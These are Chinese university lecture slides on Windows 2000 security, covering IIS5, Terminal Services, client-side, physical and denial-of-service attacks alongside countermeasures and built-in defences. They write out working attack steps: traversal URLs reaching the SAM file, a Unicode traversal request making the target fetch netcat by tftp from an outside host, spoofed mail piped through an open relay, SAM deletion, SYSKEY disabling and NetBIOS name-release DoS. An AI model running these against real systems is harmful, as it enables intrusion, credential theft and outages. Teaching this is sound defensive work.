E-mail: hjbin@infosec.pku.edu.cn Win2k系统安全(2) 胡建斌 北京大学网络与信息安全研究室 E-mail: hjbin@infosec.pku.edu.cn http://infosec.pku.edu.cn/~hjbin
目 录 IIS5的安全 终端服务器安全 Microsoft Internet 客户端的安全 物理攻击 拒绝服务攻击 安全功能和工具
IIS5的安全
IIS5基础-基本HTTP HTTP:基于文本的无状态文件传输协议 http://infosec.pku.edu.cn/files/index.html 虚拟目录:files 映射到该系统磁盘的一个实际目录上,如c:\inetpub\wwwroot\files\ 对于服务器而言则形成如下的请求: GET /files/index.html HTTP/1.0 若该文件存在,则服务器会向客户端推送该文件并在客户端的浏览器上显示;否则会有各种错误代码
IIS5基础-CGI CGI:Common Gateway Interface,运行在服务器上的应用程序,能针对每个请求生成动态的内容,扩展了Web功能 调用CGI http://infosec.pku.edu.cn/scripts/cgi.exe?var1+var2 Windows中几乎所有的可执行程序都可以作为服务器端的CGI应用程序来执行 其中cmd.exe经常被作为寻找的目标
IIS5基础-ASP和ISAPI ASP:Active Server Pages ISAPI: Interface Server Application Programming Interface 调用ASP http://infosec.pku.edu.cn/scripts/script.asp?var1=x&var2=y 调用ISAPI http://infosec.pku.edu.cn/isapi.dll? var1&var2
HTTP攻击伎俩 使用../进行文件系统遍历 URL的十六进制编码
使用 ../ 进行文件系统遍历 http://infosec.pku.edu.cn/../../../../winnt/secret.txt 通常是在目录上设置不当的NTFS访问控制列表所导致的 http://infosec.pku.edu.cn/../../../../winnt/repair/sam
URL的十六进制编码 Http允许URL中使用十六进制编码形式输入字符串
利用URL的十六进制编码攻击 http://infosec.pku.edu.cn/../../winnt/repair/sam http://infosec.pku.edu.cn %2F %2E %2E %2F %2E %2E %2F winnt/repair/sam 能避免入侵检测系统的检测,或可以导致应用程序错误处理输入
IIS5缓冲区溢出 IPP缓冲区溢出 索引服务ISAPI扩展缓冲区溢出 Code Red蠕虫 ida/idq缓冲区溢出 FrontPage 2000服务器扩展缓冲区溢出
安全对策 在系统驱动器之外的驱动器上安装Web文件夹 Web服务器所在的卷应使用NTFS并谨慎设置ACL 移动、删除或改名可能被利用的可执行文件:cacls,xcacls 在服务器的Write和Execute ACL中删除Everyone和Users Group 掌握对日志中攻击标志的分析
将文件写入Web服务器 如在目标机上建立tftp服务器,然后上载文件: 将netcat写入到C:\,因为默认情况下所有用户对C:\具有写权限 GET /scripts/..%c0%af../winnt/system32/tftp.exe? “-i”+192.168.234.31+GET+nc.exe c:\nc.exe HTTP/1.0 将netcat写入到C:\,因为默认情况下所有用户对C:\具有写权限 如将目标机器上cmd.exe改名为cmdl.exe GET /scripts/..%c0%af../winnt/system32/cmd.exe?+copy+ c:\winnt\system32\cmd.exe+c:\cmdl.exe HTTP/1.0 其它自动上载工具:如unicodeloader等
通过IIS5提升权限 通过InProcesslsapiApps利用RevertToSelf 安装MS01-026补丁可以解决
源代码泄漏攻击 起因 IIS中的程序缺陷 低劣的Web编程技术 常见的漏洞 +.htr(ism.dll) Webhits(webhits.dll) Translate: f (WebDAV, httpext.dll) WebDAV目录列表(httpext.dll)
Web服务器安全评估工具 Stealth HTTP Scanner SSLProxy http://www.obdev.at/Products Achilles http://www.digizen-security.com/projects.html Wfetch http://support.microsoft.com/support/kb/articles/Q284/2/85.sap Whisker
Web服务器安全忠告 在路由器、防火墙或其它位于Web服务器周边位置的设备上应用网路级的访问控制 随时安装热修复:http://www.microsoft.com/technet/security 删除不必要的脚本映射和不使用的ISAPI应用程序DLL 禁用不必要的服务 在应用Web服务之前,强烈推荐使用Security Template来对其进行配置
Web服务器安全忠告 在系统卷之外建立一个独立的卷来存放Web根目录 Web服务器所在的卷应使用NTFS文件系统,明确的设置ACL 删除Everyone、Users和其它非特权组所在目录上的写文件和执行文件权限 不要将私有数据保存在ASP文件或包含有文件中 停止Administration Web站点,删除IISAdmin和IISHelp虚拟目录以及它们对应的真实目录
目 录 IIS5的安全 终端服务器安全 Microsoft Internet 客户端的安全 物理攻击 拒绝服务攻击 安全功能和工具
终端服务器安全
TS Windows 2000提供了交互式的图形化远程shell,称为终端服务(Terminal Service,TS),适用于远程管理或应用程序共享 引用www.microsoft.com的说法,“Windows 2000终端服务使你能够从各种设备上,通过几乎任何类型的网络连接远程的基于Windows 2000的服务器,并在其上远程执行应用程序”
TS TS紧密集成在操作系统内部,免费提供远程管理模式(最多有两个同时连接的会语以及一个控制台) TS 可以在你和服务器之间提供不同的认证和加密方法。对Windows 2000来说,终端服务器正在逐渐成为与UNIX世界中的SSH一样重要的图形化产品
TS的代价 在本节中,我们将从安全的角度来考查TS的基本功能、如何识别和枚举TS、解决不合理的TS实现的问题、已知的针对TS的攻击,以及在网络环境中保护和管理TS的基本知识
TS组件 服务器 远程桌面协议(Remote Desktop Protocol,RDP) 客户端
TS服务器 TS集成在所有Windows 2000服务器中,通过控制面板中的Windows组件功能可以很容易地启用和禁用 在以管理模式安装时,服务器是标准的组件;当作为远程应用程序服务器时,它需要额外的授权费用和架构 服务器的默认监听端口为TCP 3389 (稍后将会介绍自行指定端口是很容易的)
远程桌面协议(RDP) 在客户端和服务器之间的数据传输是通过Microsoft的基于TCP的远程桌面协议(RDP-5)进行的 RDP提供了三层加密以确保点对点数据传输的安全性:40、56或128位RC4 与Windows NT版本的RDP-4相比,Windows 2000提供了更多的基本功能,可以在大多数的网络环境中高效的使用
客户端 通过MS安装程序(MSI)软件包安装的独立的16位或32位可执行文件 终端服务高级客户端(Terminal Services Advanced Alient,TSAC),基于Win32的ActiveX控件,可以在Web页面中使用 MMC管理单元 尽管它们互相之间存在明显的区别,但各种不同的客户端都用完全相同的方法来实现RDP。因此,尽管它们看起来似乎不一样,但所有的TS客户端在与服务器进行对话时都以完全相同的方式进行操作
修改TS监听端口-服务器端 通过修改下面的注册表键值,TS的默认端口可以重新指定 \HKLM\System\CurrentControlSet\Control\ Terminal Server \WinStations\RDP-Tcp键值:PortNumber REG_DWORD=3389
修改TS监听端口-客户端 第一步是在TS客户端连接管理器中与目标主机建立连接 一旦创建了一个连接之后,选定该连接并从File菜单中选择Export,将全部配置设置保存到以一个CNS为扩展名的文本文件中去 使用文本编辑器打开这个文件,将Server Port修改为在服务器上指定端口,如下例所示(自定义连接端口为7777)
修改TS监听端口-客户端 [CorpTermServ] WinPosStr=0,2,0,0,941,639 Expand=1 Smooth Scrolling=0 Shadow Bitmap Enabled=1 Dedicated Terminal=0 Server Port=7777 Enable Mouse=1 [etc.]
识别和查找TS 3389端口扫描 TSProbe TSEnum
攻击TS 密码猜测攻击 用户权限提升 畸形RDP拒绝服务攻击
密码猜测攻击-TSGrinder.exe TS登录等价于真正的交互式登录,因此对真正的Administrator账户是不能设置锁定阈值的。这意味着在启用了TS服务的情况下,对密码猜测攻击来说,本地Administrator账户是一个最易受攻击的目标 Tim Mullen开发了TSGrinder的工具,它能够通过TS对本地Administrator账户进行字典攻击
密码猜测攻击-TSGrinder.exe TSGrinder使用TS的ActiveX控件来进行攻击。尽管这个ActiveX控件经过特殊的设计可以拒绝对密码方法的脚本访问,但通过C++中的vtable绑定仍然可以访问ImsTscNonScriptable接口方法。这允许为该控件编写自定义的接口,于是攻击者就可以对Administrator账户进行密码猜测,直至猜测出密码 www.hammerofgod.com上提供下载
密码猜测攻击的防御 推荐将本地Administrator账户改名 防御TS密码猜测攻击的另一种有趣的方法是为Windows登录窗口制作一个自定义的法律声明,通过添加或编辑如下的注册表键值就可以实现: HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon
用户权限提升 推荐实现Windows 2000 Resource Kit中的一些关键功能 其中最重要的是,“Appsec”可以使管理员能够限制用户只能运行特定的应用程序 这能够减小攻击者在获取本地用户访问之后进行权限提升攻击的危险
IME远程Root获取 输入法编辑器(Input Method Editor,IME)漏洞,这个漏洞导致可以不用提供任何凭据就能通过TS的认证 IME用来将标准的101键键盘映射到某种语言中的大量可用字符,例如日语、中文和韩国语都需要IME。虽然IME通常在本地用户的上下文中进行正常操作,但登录时,IME却在SYSTEM上下文中运行。这使得通过远程服务器的登录屏幕运行精心设计的命令成为可能
IME对策 只有简体中文版系统或在初始安装过程中安装了简体中文IME的系统才会有这个漏洞 Microsoft发布的公告MS00-069和补丁能够为所有受影响的版本解决这个问题
畸形RDP拒绝服务 2001年1月,Yoichi Ubukata和Yoshihiro Kawabata发现了RDP中的一个漏洞,这个漏洞可能导致拒绝服务的情况出现。如果攻击者发送一种畸形的报文,它将使RDP瘫痪。这种攻击会导致当前正在进行的全部工作丢失,并且需要重新启动系统才能恢复服务 Microsoft发布了一个补丁(MS01-006),通过修改终端服务器服务使它正确地处理数据,从而消除这个漏洞
目 录 IIS5的安全 终端服务器安全 Microsoft Internet 客户端的安全 物理攻击 拒绝服务攻击 安全功能和工具
Microsoft Internet 客户端安全
攻击类型 缓冲区溢出,可被用来执行任意的代码而无需与用户进行任何交互 通过欺骗、强制或暗中执行命令,使用户运行由攻击者预先选择的可执行内容。这种方法有以下一些变化: ■ 巧妙伪装的、看起来无害的电子邮件附件 ■ 嵌入在HTML Web页面或电子邮件中的可执行内容 ■ 活动内容技术的漏洞导致非法代码的执行 ■ ActiveX控件,尤其是那些标记有“可以在脚本中安全使用”的控件 ■ Java虚拟机的程序缺陷(Brown Orifice)
攻击类型 访问脚本/自动化接口,例如Outlook地址簿蠕虫 写本地文件,通常是在可执行的目录中;经常通过临时目录或缓存位置的不适当泄露发生。一旦在本地写入文件,它就可以执行并运行在本地计算机安全区域的上下文中,从而是完全受到信任的 读取本地文件,例如通过HTML跨帧导航问题或使用IFRAME。这种技术的一个常见结果是从Web浏览器的cookie中获取用户的密码数据 调用客户端出站连接
实现 Internet客户端攻击
恶意Web页面 客户端的一种最常见形式是在Internet上部署恶意的Web服务器,存放经过精心设计的内容,用来诱骗用户的数据
恶意E-mail 由于HTML功能的多样性(嵌入小程序或控件、活动脚本、跨帧浏览、内联帧、cookie解析等等),HTML电子邮件成为理想的攻击媒介 由于接收端的漏洞导致这样的问题,Microsoft虽然备受指责,然而通过Outlook或Outlook Express(OE)这样的程序发送恶意编写的HTML却十分困难。这些图形化的电子邮件客户端不允许对邮件消息的内容进行直接的操作,而为实现攻击目的却需要这样做 如果要在Windows上模拟这种命令行功能,可以通过命令行提示符直接向简单邮件传输协议(Simple Mail Transfer Protocol,SMTP)服务器手动发送消息。最佳的办法是将适当的SMTP命令和数据写入到一个文本文件中,然后通过管道输入给netcat
Email Hacking 首先,将所需的SMTP命令和消息数据写入到一个文件中 helo somedomain.com mail from: <mallory@malweary.com> rcpt to: <hapless@victim.net> data subject: Read this! Importance: high MIME-Version: 1.0 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit <HTML> <h2>Hello World!</h2> </HTML> . quit
Email Hacking 然后在命令行中将这个文件通过管道传递给netcat,而netcat则应该指向适当的邮件服务器的SMTP监听端口25,例如: C:\>type malicious.txt | nc -vv mail.openrelay.net 25
Email Hacking 恶意的攻击者通常会选择一些提供无限制的SMTP消息中继的不引人注意的邮件服务器,而且会尽可能隐藏他们自己的源IP地址,这样就不可能通过邮件服务器的日志来追查到他们 这样的“开放式SMTP中继”通常被垃圾邮件所利用,在Usenet的讨论或http://mail-abuse.org上经常可以找到这样的服务器
Email Hacking 如果希望随HTML格式的消息发送一个附件,则必须向消息中添加另一个MIME部分,根据MIME规范(RFC 2045-49)用Base64格式对附件进行编码 用以自动完成这项工作的最佳工具是John G. Myers的mpack。mpack能够自动添加正确的MIME头,这样它的输出就可以直接发送给SMTP服务器 下面的例子使用mpack对一个名为plant.txt的文件进行编码,输出到文件plant.mim中。可选的-s参数用以指定消息的主题行 C:\>mpack -s Nasty-gram -o plant.mim plant.txt
Email Hacking 下面将MIME部分插入到现有的HTML格式的消息中去 对前面的malicious.txt来说,使用“Content-Type:”一行中自定义的MIME边界来划分该消息。MIME边界以两个连字符开始,结束边界以两个连字符为后缀。还要注意嵌套的“multipart/alternative”MIME部分(boundary2),这样Outlook接收者就能够正确地对HTML消息正文进行解码 一定要十分注意换行的位置,因为MIME的解析根据它们的位置有着很大的不同。这个消息的重要性被设置为high(高),这是诱使受害者上当受骗的一个伎俩
Email Hacking
Email Hacking 使用管道将这个文件输入给netcat,并发送给开放的SMTP服务器,就能够向hapless@victim.net发送一封HTML格式的消息,并包含附件plant.txt 要更好地理解多部分消息中的MIME边界,参考RFC 2046的第5.1.1节。在Outlook Express中对收到的消息进行研究,也可以进一步了解其格式 单击Properties | Details | Message Source就可以查看原始数据(Outlook不允许查看全部的原始SMTP数据)
缓冲区溢出 如果在每天使用的软件——电子邮件客户端中存在缓冲区溢出的漏洞,那么问题就很可怕了。在漏洞得到修正之前,任何使用存在问题的软件的人都将成为目标 2000年7月18日;Underground Security Systems Research(USSR)公布了GMT令牌缓冲区溢出漏洞,Outlook和Outlook Express(OE)的用户随之发现了这一点。通过将GMT令牌放在邮件消息的日期字段中并写入一个超长的值,Outlook和OE就会在POP3和IMAP4下载这样的消息时崩溃。如果可以发送精心设计的日期字段,攻击者选定的程序就可以封装在GMT值中并执行 Outlook用户需要预览、阅读、回复或转发这样的消息;OE用户简单地打开含有该消息的文件夹,在消息处理时就会自动发生——OE就会永久性地崩溃,除非清除邮箱
Outlook/OE vCard缓冲区溢出 这个问题最早由Joel Moses发现,通过打开特定字段中含有大量文本数据的vCards,就可以利用Internet Explorer中的缓冲区溢出 vCards是1996年发明的一种电子名片格式,1998年进入RFC vCards以.vcf为文件扩展名。因为在读取vCards时必须解析大量的数据字段,因此它们成为缓冲区溢出攻击的最佳目标
Outlook/OE vCard缓冲区溢出 在默认情况下,Outlook会直接从邮件附件运行vCards而不对用户进行提示,除非安装了Office安全更新。在直接打开磁盘上的.vcf文件时,不会出现提示
Outlook/OE vCard缓冲区溢出 vCards采用非常简单的ASCII结构,下面的例子是一个名为John Doe.vcf的vCard(为了简明起见,删除了一些可选的字段):
Outlook/OE vCard缓冲区溢出 如果可选的BDAY(生日)字段超过55个字符,运行它就会导致Outlook终止并溢出 含有大量文本数据的EMAIL字段也会导致同样的结果,而在N(姓名)字段中填入大量的文本数据会导致Outlook占用99%的系统CPU资源 主要的问题似乎在于Outlook的地址簿,它在试图从vCard导入超长的字段时发生阻塞。用户将存在问题的vCard复制到他们的Outlook/OE的联系人文件夹中,通过Windows资源管理器,或通过嵌入在Web页面或电子邮件消息中的链接打开它时,也会发生问题
其它缓冲区溢出 Windows媒体播放器.asx缓冲区溢出 Georgi Guninski和Richard Smith发现的ActiveX“Safe for Scripting(脚本安全)”问题 Access数据库实例化 IE 5中执行VBA代码
写本地文件 将文件写入本地磁盘,如果能够写入任意的文件然后又能够执行它们,那么麻烦就大了。如果文件已经写入到磁盘上,那么只有文件系统ACL和它们与用户账户权限的交集能够确定哪些能够被执行而哪些不能,因此只要过了第一关,第二步就很容易了。 这种攻击的一种聪明的变种是识别磁盘上可以可靠地写入数据的静态位置——例如,Internet临时缓存文件的名称和位置是可以预测的。这使得攻击者可以实现“选定文件内容”攻击,在文件里面他们可以精心设计恶意的脚本或是其他提交给Internet客户端的指令,以便可以写入到这些可预测的位置之一。一旦完成了这一步,那么通过IFRAME或其他的技术从已知的位置执行这些脚本就很容易了
执行被写入临时Internet缓存的.chm文件 Georgi Guninski的第28号公告描述了这个漏洞。它涉及到4个基本的步骤,它们都是在IE或Outlook/OE中装载HTML时进行的: 1. 使用一些HTML代码,向IE的Internet临时文件缓存中写入一系列相同的经过特殊设计的已编译HTML帮助文件(.chm) 2. 从第一份HTML文档中,装载第二份HTML文档,第二份文档位于另一台服务器上,该服务器的名称与存放父文档的服务器的名称不同 3. 识别Internet临时缓存文件夹的位置 4. 在查点出的缓存文件夹中执行.chm文件
通用对策 仔细配置出站网关访问控制,阻塞除由公司策略明显允许的通信之外的全部通信。客户端攻击的最可怕的一种可能就是调用与恶意服务器之间的出站连接在不安全的协议上,例如telnet或SMB 不要在重要的服务器 上读取邮件或浏览Web 不要在重要的服务器上安装Microsoft Office 在浏览Web和读取邮件时,尽可能使用非特权用户身份,而不要用Administrator
通用对策 坚持原则——不要点击不可信的链接或查看不可信的电子邮件附件,最好将其删除 一定要及时升级Internet客户端软件。目前,使用Windows更新站点来自动检测和安装你需要的补丁(Microsoft计划在2001年夏天推出一个新的工具,以帮助用户确定他们的IE/OE和Outlook需要安装哪些补丁)。在编写本书时,IE 5.5是Microsoft的核心Internet客户端的最新版本,并且Service Pack 1也已经发布。在IE中,检查Help|About以查看已经安装了哪些补丁,并且确保你正在使用128位加密强度
通用对策 不要忘了及时到Office更新站点上对Office进行更新。特别的,确保你已经安装了Outlook电子邮件安全更新 适当的设置IE的 Security Zone,包括禁用Restricted Site区域中的全部功能,然后配置Outlook/OE使用该区域读取电子邮件 将安全策略中的Windows 2000 LAN Manager认证级别设置为Send NTLMv2 Response Only。这能够降低对SMB认证进行窃听攻击的危险(但不能阻止恶意服务器和MITM攻击)
通用对策 禁用Windows 2000 telnet客户端的NTLM认证(在命令行中执行telnet命令,然后输入unset ntlm,然后用quit退出)。这能够避免在对telnet://链接进行反应时NTLM凭据在网络上传播 在所有的Office应用程序的Tools | Macro | Security中将宏安全性设置为High(高)。这有助于避免Office文档中的恶意宏脚本进行的攻击
通用对策 在客户端和邮件服务器上,及时更新防病毒标识数据库 部署基于网关和邮件服务器的过滤系统,剔除Web页面和电子邮件中的恶意内容 如果这些提示没能使你感到安全,那么不要再使用Microsoft Internet客户端(如果你运行Windows 2000,那么实际上这是不可能的)
目 录 IIS5的安全 终端服务器安全 Microsoft Internet 客户端的安全 物理攻击 拒绝服务攻击 安全功能和工具
物理攻击
物理攻击 如果入侵者能够不受限制地在物理上访问一台Windows 2000系统,那么他们如何进行攻击呢?
对SAM进行离线攻击 破解通常依赖于获取NT/2000的密码数据库——安全账户管理器(Security Accounts Manager,SAM)文件 通过离线攻击,SAM的内容也可以被坏人获取,只需引导到另一种操作系统,然后将SAM复制到可移动媒体或网络共享中 首先介绍一些经典的离线攻击技术,然后分析这些攻击对EFS潜在的影响。最后,讨论EFS攻击的一个例子,它不需要在离线状态下访问系统
通过删除SAM废除Administrator密码 这种攻击有多种实现方式,但最直接的方法是制作一张可引导的DOS系统软盘,并将Sysinternal的ntfsdospro复制到软盘上。然后这张软盘就可以用来将目标系统引导到DOS
通过删除SAM废除Administrator密码 如果目标系统使用FAT或FAT32,那么只需输入以下命令就可以删除SAM文件: A:\>del c:\winnt\system32\config\sam 如果目标系统使用NTFS文件系统,那么可以使用ntfsdospro将NTFS卷装载到DOS中,然后使用相同的命令来删除SAM
通过删除SAM废除Administrator密码 当系统稍后重新启动时,Windows 2000将重新创建一个默认的SAM文件,它含有Administrator账户,而且密码为空。只需使用这个账户和密码登录,就可以获得对系统的全面控制 这里需要注意的是,删除SAM并不会影响Windows 2000域控制器,因为它们没有把密码散列保存在SAM中。然而,Grace和Bartlett的文章指出了一种方法,通过在域控制器上安装另一份Windows 2000,就可以获得基本相同的效果
通过使用chntpw对SAM进行散列注入 如果你希望使用更为成熟的物理攻击方法,不想破坏掉系统中全部的账户,可以使用一张Linux引导软盘和Petter Nordahl-Hagen的chntpw,在离线状态将密码散列注入到SAM中 即使在应用了SYSKEY时,或即使选择了用密码来保护SYSKEY或将它保存在软盘上的选项,注入仍然能够奏效!
通过使用chntpw对SAM进行散列注入 Petter说明了如何将SYSKEY关闭。更糟的是,他发现攻击者并不需要这样做——只需将旧的、未经SYSKEY处理的散列直接注入到SAM中,在重新启动后,它就会自动被转换为SYSKEY散列
关闭SYSKEY的方法 1. 将HKLM\System\CurrentControlSet\Control\Lsa\SecureBoot设置为0以禁用SYSKEY(这个键的可能取值为:0——禁用;1——不受保护的密钥保存在注册表中;2——密钥保存在注册表中,受密码保护;3——密钥保存在软盘上) 2. 将二进制结构HKLM\SAM\Domains\Account\F中的一个特殊标志位修改为以前SecureBoot的相同模式。在系统处于运行状态时,这个主键是不能访问的 3. 在Windows 2000中,HKLM\security\Policy\PolSecretEncryptionKey\ <default>主键也需要被修改为与以前的两个主键相同的值
通过使用chntpw对SAM进行散列注入 根据Petter的说法,在NT 4 SP6之前的系统上只修改前两个值中的一个会导致在完全引导之后出现一个警告,指出SAM和系统设置之间的不一致性,SYSKEY会被重新启用。而在Windows 2000上,在重新启动之后,这3个键值之间的不一致似乎直接被重置为最可能的值
目 录 IIS5的安全 终端服务器安全 Microsoft Internet 客户端的安全 物理攻击 拒绝服务攻击 安全功能和工具
拒绝服务攻击
拒绝服务(Denial of Service,DoS)攻击并不是以窃取用户账户或系统数据为直接目的,而是使系统拒绝合法用户对系统服务的访问 DoS可以有很多种形式,例如通过耗尽系统资源,使合法用户访问站点的请求失败,或者通过一个精心制作的与RFC不兼容的报文导致操作系统的挂起 在某些情况下,如果攻击需要目标计算机重新启动才能完成,DoS实际上被用来辅助对系统的入侵
TCP连接淹没 TCP连接淹没(connect flood)方法有时也被称为进程表攻击(process table attack)。顾名思义,这种方法是与目标之间建立尽可能多的TCP连接,直到目标由于资源耗尽而不能再为请求提供服务为止 TCP连接淹没比曾经流行的TCP SYN淹没攻击更为先进,因为它实际上完成了3次握手过程,使目标计算机上的所有套接字都处于ESTABLISHED状态。最终,所有的套接字都被耗尽,目标就不能再接受任何新的连接,而不管它还具有多少可用的内存、带宽、CPU时间等
TCP连接淹没 这确实是一种非常有破坏力的攻击,而且只要攻击者能够访问任一个监听服务(例如TCP 80端口上的WWW服务),那么几乎没有什么防御方法 攻击工具:Portfuck
应用程序服务级DoS攻击 IIS的WebDAV telnet服务器
基于LAN的DoS攻击 在面向LAN的Windows 2000 DoS攻击中,大多数都与NetBIOS有关。NetBIOS的传统问题是它依赖于不可靠的、无认证的服务。它提供了一种IP地址与NetBIOS名称间相互映射的方法,很容易被伪装,因此任何可以连接到本地网络中的人都可以通过声称已经注册了其他合法客户端的NetBIOS名称或者向特定的主机发送“名称释放”报文,从而使合法客户端断开网络 收到这种报文的客户端将会完全丢失加入NetBIOS网络的能力,包括访问文件共享、Windows域认证等等
基于LAN的DoS攻击 下面是使用nbname对一台主机进行DoS攻击的例子。在Windows 2000上,你必须首先禁用TCP/IP上的NetBIOS,以避免它与真正的NBNS服务发生冲突,因为NBNS服务通常会大量地使用UDP端口137。然后,运行nbname(使用你要攻击的主机的IP地址代替这里的192.168.234.222): C:\>nbname /astat 192.168.234.222 /conflict
基于LAN的DoS攻击 其中/ASTAT参数用于从目标获取远程适配器的状态,/CONFLICT参数向响应适配器状态请求的计算机的远程名称表格中的全部名称发送名称释放报文 通过使用/QUERY [name IP] /CONFLICT /DENY [name_or_file]参数,攻击者可以对整个网络进行DoS攻击
基于LAN的DoS攻击 在受害主机上,可能会出现下列症状: 网络连接时断时续 网络邻居(Network Neighborhood)等工具不能正常工作 net send命令不能正常工作 受影响的服务器不能认证域登录 不能访问共享资源和基础的NetBIOS服务,例如NetBIOS名称解析 nbtstat 命令会将NetBIOS名称服务的状态显示为Conflict(冲突)
Windows 2000 DDoS僵尸 在2000年2月之后,“僵尸”(zombie)这个词开始流行起来,用以代指那些被用来攻击受害者的无辜的DDoS客户端 Tribe Flood Network(TFN) Trinoo Stacheldraht TFN2K WinTrinoo
防御DoS-联合你的ISP 联系你的Internet服务供应商(ISP),询问他们能够为防止你的连接受到DoS攻击而提供何种措施(如果有)。几乎所有的Internet连接都要经过ISP,不管你的DoS防御策略是多么牢固,如果ISP的连接断开或是饱和,你的措施就没有任何意义
防御DoS-联合你的ISP 在站点受到攻击时,你的ISP能够做出什么反应。如果可能的话,将你的ISP的网络操作中心(NOC)的联系信息放在手边 记住,跟踪找到攻击的发起者是很困难的,但如果你的ISP肯合作并且能够访问你和攻击者之间的路由器,这也是可能实现的
防御DoS-配置边界路由器 通过适当的配置路由器,可以相当有效地减轻DoS攻击的危害 强烈推荐读者参考“Cisco对分布式拒绝服务攻击(DDoS)的策略” 。该文章讨论了Cisco IOS配置,例如验证单播逆向路径、过滤RFC 1918私有地址、应用进出口过滤、速率限制、ICMP和UDP过滤等,对目前的Internet环境来说,这些是基本的常用配置 http://www.cisco.com/warp/public/707/newsflash.html
防御DoS 及时安装补丁 合理配置TCP/IP参数
合理配置TCP/IP参数
合理配置TCP/IP参数
目 录 IIS5的安全 终端服务器安全 Microsoft Internet 客户端的安全 物理攻击 拒绝服务攻击 安全功能和工具
安全模板和安全配置分析 组策略 IPSec Kerberos 加密文件系统(Encrypted File System,EFS) Runas Windows文件保护(Windows File Protection,WFP)
安全模板、安全配置和分析 安全模板(Security Template)、安全配置和分析(Security Configuration and Analysis) 是在Windows 2000环境中部署安全体系时所能使用的最能够节省时间的工具,特别是在与组策略联合使用时 安全模板是Windows 2000中与安全有关的设置的结构化列表,通过点击鼠标就可以编辑和应用,而无需去寻找和配置本书中已经讨论过的大量分散的安全设置。另外,这些模板文件可以与系统的当前设置进行比较,从而显示出一致和不一致的配置(即分析功能)
安全模板、安全配置和分析 通过打开一个空白的Microsoft管理控制台(MMC),然后添加安全模板、安全配置和分析管理单元,就可以使用这两项工具
组策略 组策略(Group Policy)是Windows 2000提供的功能最强大的新工具之一,它的作用已经远远超出了安全设置的范围 组策略是Windows 2000的集中化管理配置管理体系。它是由组策略对象(Group Policy Object,GPO)实现的,GPO定义了可以被应用于(或链接到)用户和计算机的配置参数。GPO有两种类型:本地GPO(LGPO)和活动目录GPO(ADGPO)
组策略 LGPO保存在%systemroot%\system32\GroupPolicy目录中,由以下一些文件组成:gpt.ini,管理模板(.adm),安全配置文件(.pol),以及登录/注销和启动/关机脚本 ADGPO存储在%systemroot%\system32\sysvol\<domain> \Policies目录中,活动目录中的System | Policy容器中也保存了指向每个ADGPO的指针 LGPO只作用于本地计算机。ADGPO则可以应用于站点(site)、域(domain)、组织单位(Organizational Unit,OU),而且多个GPO可以链接到同一个站点、域或OU
组策略 与安全相关的GPO设置集中在Computer Configuration\Win-dows Settings\Security Settings结点之下 Security Settings(安全策略)结点定义了账户策略、审核策略、事件日志、公钥和IPSec策略 由于这些参数可以在站点、域、OU级别上进行设置,大型网络环境中的安全管理工作的负担就可以减轻很多。更好的是,安全模板可以被导入到一个GPO中。因此,组策略是安全地配置大型Windows 2000域的最佳方法
将安全模板导入组策略
IPSec IPSec定义了一种用以获取IP数据报的端到端安全的机制,包括认证、机密性、完整性和防回放服务,而且无需中间设备来理解该协议
IPSec ? IPSec过滤功能是操作系统的内建功能,因此不管Windows 2000被部署在哪里,它都是有效的 有知识的网络安全管理员可以很容易地对过滤器进行修改,而且只需一次简单的鼠标点击或批处理脚本就可以应用(不需要重新启动系统) IPSec过滤器优于旧的TCP/IP安全功能,因为它不需要重新启动,而且能够真正地阻塞ICMP通信(关于TCP/IP安全有一个很少有人知道的事实,那就是即使在界面中已经指定,但ICMP并没有真正地被阻塞)
Kerberos Windows 2000提供了旧版本Windows使用的传统的NTLM认证架构的一种替代方案Kerberos v5, 它是一种非常优秀的标准,在专业和学术安全界都被认为是非常安全的 Kerberos比LM和NTLM协议要安全很多,因为它不会受到LM窃听攻击的影响。不幸的是,与使用安全策略中的LM认证级别设置可以强制使用更安全的NTLM协议不同,我们没有方法强制使用Kerberos认证 目前,Kerberos只在可能的情况下使用,否则,Windows 2000会自动地转换为NTLM,于是又会受到SMB窃听攻击的影响
加密文件系统(EFS) EFS是一种基于公钥密码学的系统,它能够透明地对磁盘上的数据进行实时加密,于是攻击者在没有正确的密钥的情况下就不能访问它们 EFS能够使用一种快速的对称加密算法对文件或文件夹进行加密,密钥是专为该文件或文件夹随机生成的文件加密密钥(FEK) EFS使用扩展数据加密标准(Extended Data Encryption Standard,DESX)作为加密算法。随机生成的FEK本身也使用一个或多个公钥加密,包括用户的公钥(Windows 2000中的每个用户都持有一对公钥/私钥)和密钥恢复代理的公钥。这些加密后的值都作为文件的属性保存起来
加密文件系统(EFS) 当加密了敏感数据的用户离开公司,或者他们的加密密钥丢失时,密钥恢复将发挥作用 为了避免已加密的数据不能被还原回来,Windows 2000为EFS提供了一个数据恢复代理——没有恢复代理的话,EFS就不会工作。因为FEK是完全独立于用户的公钥/私钥对的,因此恢复代理可以在不使用该用户的私钥的情况下对文件的内容进行解密 系统的默认数据恢复代理是本地的Administrator账户
加密文件系统(EFS) Microsoft将EFS定位为在NTFS被攻破的情况下的另一层保护,例如通过引导到另一个操作系统并使用第三方工具来访问硬盘,或者用于存储在远程服务器上的文件 Microsoft的EFS白皮书特别声明“EFS解决了在其他操作系统中使用工具在没有访问检查的情况下在物理上访问NTFS卷上的文件的安全考虑” 使EFS避免受到物理攻击的惟一方法是将SYSKEY设置为模式2或模式3
Windows文件保护(WFP) WFP的功能是对将要安装的系统文件的来源和版本进行验证 这种验证功能可以避免以.sys、.dll、.ocx、.ttf、.fon和.exe为扩展名的系统文件被覆盖 WFP在后台运行,能够检测到其他程序试图覆盖或移动受保护的系统文件的企图。WFP还能检查文件的数字签名以确定新的文件是否是正确的版本
Windows文件保护(WFP) 如果该文件不是正确的版本,WFP将使用默认情况下存储在%systemroot%\system32\dllcache文件夹(这个文件夹是作为受保护的操作系统文件隐藏起来的)、网络安装位置或Windows 2000安装光盘中的备份将该文件覆盖 如果WFP找不到适当的文件,它将提示用户输入文件的位置。WPF还会在事件日志中记录覆盖文件的企图 文件签名检查程序: sigverif.exe, sfc.exe等可用于检查受WFP保护的文件的完整性